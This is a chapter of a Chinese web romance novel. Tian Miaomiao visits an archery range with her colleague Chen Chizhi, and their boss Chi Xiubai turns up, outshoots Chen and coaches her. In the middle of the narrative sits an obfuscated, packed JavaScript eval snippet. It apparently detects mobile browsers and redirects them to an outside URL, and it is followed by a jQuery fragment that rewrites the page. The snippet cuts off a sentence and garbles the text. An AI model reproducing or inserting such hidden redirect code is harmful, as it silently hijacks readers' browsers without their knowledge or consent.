“在装糊涂吗?”陈驰之注视她的背影,轻轻地开口:“蛮可爱的。” 他想,现在装傻也无所谓,他是个有耐心的人,总有一天你会面对的。 陈驰之不是那种什么都憋着不说不表达,只一味傻傻付出的人,他会适时地表露出自己的好感,虽不直接表白但绝对能让对方体会到自己的心思。 田妙妙吃了不少辣锅,胃里是有些不舒服,不过不至于蹲厕所,只是找个由头躲开。 估摸着差不多了,田妙妙洗了洗手,走出卫生间。 陈驰之就在卫生间外的长凳处等着她出来。 “好点了吗?”陈驰之关心道,刚才说的话仿佛完全没有发生过。 田妙妙点头:“嗯,没事了。” “你要是不想去看电影的话,我们去射箭馆玩吧?”陈驰之说:“在五楼,美团上有体验套餐,要不去试试?” 已经拒绝过看电影,就不好再拒绝射箭,这样会显得她完全不给对方面子。 田妙妙点头:“好,那这次我来买套餐吧。” 陈驰之:“好,那麻烦你了。” 田妙妙在手机上团购了两份一小时体验套餐,对方请她吃饭,她还一场娱乐活动,就当扯平了。 两人进入五楼的射箭馆。 工作人员给他们提供了相应的护具。 田妙妙看着从没见过的各种护具,有些犯难地看向陈驰之。 陈驰之一边跟她讲解,一边帮她穿戴。 “这个是护臂,这个事护胸,这个小的是护指,要这样拿。” 他们离的很近,田妙妙没有穿戴过,也不好拒绝陈驰之的帮忙,好在他的举动比较绅士,很正常地帮她穿戴上护具,没有其他的暗示举动。 * 射箭馆隔壁,是桌球俱乐部。 池修白、江弘深和裴文山三人正在陪合作商领导打球,玩了几局黑8后,发行商张总表示中式台球没难度,要上斯诺克。 江弘深和裴文山没打过几把斯诺克,池修白倒是涉猎颇深,陪张总继续打。 陪人打球,对于池修白而言,最难的就是怎么不经意间的输掉,还能让对方察觉不出来是自己主动让球的。 江弘深在休息区玩手机,裴文山在一旁看池修白打球。 等一局结束,张总“险胜”,池修白夸了句“张总好水平。” 张总满意地笑笑,故作谦逊:“好久没遇见你这样的高水平的对手了,有意思,再来再来。” 裴文山看出池修白已经有点不耐烦了:“要不先歇会,张总咱们先聊两句。” 池修白点了下头:“我去趟洗手间,失陪一下。” 刚走两步,江弘深朝他招手,示意他看外面。 池修白抬眼望去,见田妙妙和陈驰之结伴进入射箭馆。 池修白心中冷笑,原来她口中的有约,是和陈驰之啊,还精心化了妆,真够用心的。 他不动声色地继续盯着,企图看出两人当前的关系进展。两年轻人凑在一起穿戴护具,基本的社交距离被打破,再加上一点错位,看起来两人的额头已经碰在一起。 真的碍眼。 江弘深笑得一脸荡漾,说话直戳池修白心窝子:“啧啧啧,咱工作室这是有情况啊。” 池修白翻了他一眼,不爽道:“能有什么情况?”这两人还能偷偷摸摸就成了?有他在,田妙妙能这么快转移目标? “年轻人的进展那可说不准哦,你瞧瞧,现在帮忙穿戴护具,都要贴一块了,等会估计要手把手指导射箭了。”江弘深继续出言刺激老板。 池修白把球杆往江弘深手里一送,“下局你去陪姓张的打。”说完,他黑着脸不声不响地出了桌球俱乐部。 池修白走到射箭馆门前的那一刻,忽然觉得自己脑抽了,他现在什么身份,就跑过来兴师问罪,不知道的还以为他吃醋吃到昏头了呢。 刚想走,门口迎客的工作人员上前,恭敬地迎他进门。 这下想走也走不了,池修白不再纠结,踏入馆中。 “请问您有预约教练吗?”工作人员问。 池修白摆摆手,朝田妙妙方位示意了下:“我过来找人的,帮我在他俩旁边开个弓位。” “好的,请稍等。”工作人员给他取来弓箭和护具。 池修白拿着弓箭和箭筒走过去。 田妙妙看见池修白时,活像见了鬼一样,他不是说今天有事吗,不是说还要去参加宴会吗,怎么突然刷新在这里,如果生活也是一场游戏,此刻游戏加载时一定出现了重大bug!——BOSS地图加载错误! 她心虚且尴尬地打招呼:“老板好。” 正专心拉弓的陈驰之听到后,闻声往这边一瞧,看见池修白的身影,欣喜道:“老板好,您也喜欢射箭?” “还行。”池修白没有戴护臂和护胸,只使用护指,他娴熟地调试完弓箭,抽出一支羽箭,冲陈驰之微扬下巴,“比比?” “好啊。”陈驰之欣然接受,他大学时期参加过一年的射箭社团,跟着同学和老师一起练过,水平自认还不错。 池修白拉弓的样子很潇洒,一只眼睛睁着,一只眼睛微闭,眼神锐利得像丛林中潜伏捕食的猛兽。 田妙妙刚才拉过弓,现在手臂还酸麻着,反观池修白拉起弓来,似乎毫不费力,要不是手臂绷起的肌肉,她差点以为他手中的弓比她的省力呢。 一箭射出,空气被撕裂的声音迸发开,与心房的震颤完美共鸣。 下一秒,这支箭稳稳地正中红心。 田妙妙惊得目瞪口呆,这箭简直跟长了眼睛似的,不偏不倚,牢牢扎在箭靶中央。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098620|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈驰之激动赞声:“白神牛啊!” “到你了。”池修白催促。 田妙妙心道,您老这是专门跑来砸场子的吗?这么咄咄逼人,她真为陈驰之捏把汗。 陈驰之不免紧张起来,他架好箭矢,开始拉弓。 田妙妙出言鼓励:“加油。” 陈驰之勾了下唇角。 池修白脸刷拉一下黑了下来,田妙妙像是有心电感应似的,完全不敢回头看池修白的表情。 陈驰之松手,箭矢飞出,完美中靶,可惜离红心还有一公分的距离。 “不错哇。”田妙妙夸了句,这是目前陈驰之射得最准的一次。 陈驰之摇摇头:“离白神差远了。” “是呢,要不让老板教我们吧。”田妙妙提议,她不想看两人这么比下去,池修白气势汹汹剑拔弩张,而陈驰之仓促应战疲于应对,实在有点不忍直视,陈驰之那么崇拜池修白,要是被偶像狠狠打击了,应该很难过吧。 她想化解这场来者不善的比试。 “怎么样啊boss,一起玩吧?”田妙妙朝池修白忽闪忽闪地眨眼睛,她拿着弓凑过去,奴颜婢膝地问:“我一直射不到箭靶上,好奇怪啊,明明瞄准的呀。” 池修白快速扫视两人,初步判断出两人应该没有越雷池,不然田妙妙不可能当着陈驰之的面让他指导她的。 他莫名升起的敌意快速散去,把手中的弓箭放在一边,耐心帮田妙妙抠执箭拉弓的动作。 好不容易把动作纠规范之后,田妙妙两条细胳膊已经开始抖个不停,她急忙问:“可以了吗,要撑不住了。” “可以了,松手吧。”池修白发号施令。 田妙妙照做,箭矢飞出,她放下弓箭拍手臂缓解酸痛感,一抬眼,发觉箭矢竟命中了箭靶,虽是外环,但没脱靶,田妙妙已经心满意足了。 “中了,中了。”她双手握拳给自己打气:“yes!” “厉害,厉害。”陈驰之捧场。 池修白笑她:“出息。” 倏忽间,他的手机响了,是裴文山的电话,接通后,对面倒豆子似输出:“老大你去哪了?张总刚才终于松口,我们提出的条件还能接着谈,你赶紧过来吧,我一转眼你人都没了。” “行,你稳住,我马上过去。” 池修白挂了电话,冲两人说:“有急事,我先走了。” “好的。”田妙妙点头,心中那叫一个莫名其妙,这人突然出现,又突然离开,像游戏脚本检索到bug,自动修复了一样。 池修白去前台结账,顺手帮那两人结账时,工作人员说他们是验券的,池修白多余的钱没花出去。 “白神刚才怎么过来了?”陈驰之还在状况之外。 田妙妙耸了下肩:“谁知道呢,别管他了,我们继续玩。”她好不容易get到正确姿势,刚有收获,想趁热打铁,多中几箭。 陈驰之还在回忆池修白刚才那一箭,咂摸道:“真帅啊。” 田妙妙简直无语,池修白就是冲着他来的,他居然一点没察觉到,还赞美对方的英姿。 转念一想,陈驰之不觉得池修白对他有敌意,应该是完全没有把池修白和田妙妙联系起来,也是,一般人也不会觉得差距这么大的两个人能有什么可能性,这多少有点惊悚了。 田妙妙心中有一点点失落。她化悲愤为力量,一口气将箭筒里还剩下的十几支箭全射出去,瞎猫碰上死耗子,中了三支。 她拍了张照片,发给池修白得瑟:看,又中了,我真厉害。 片刻后,对面回:那是老师教的好。 田妙妙在思考怎么回复的时候,对面又发来一条:叫声池老师听听。 田妙妙臊了个大红脸,怎么感觉他在大庭广众之下玩师生play。 田妙妙赶紧把手机揣兜里,给脸扇扇风降温。 陈驰之凑过来:“跟谁聊天呢,一直在笑。” “没,刚刷到一个搞笑视频。”田妙妙搪塞过去。 “分享给我看看。” 田妙妙:“已经刷过去了,没保存。” 一个小时很快结束,两人离开的时候,热情的工作人员一直推荐他们办卡,给他们介绍当前的优惠套餐。 陈驰之低头问她的意见:“要不要常来玩,感觉你挺喜欢的。” 田妙妙直摇头,她才不想培养这种费钱的兴趣爱好呢,“不喜欢,我还是更喜欢宅家里打游戏。” 陈驰之有些失望:“早知道直接约你开黑了。” 离开射箭馆,两人在其他楼层闲逛,田妙妙突然问:“你们男生喜欢什么礼物啊?”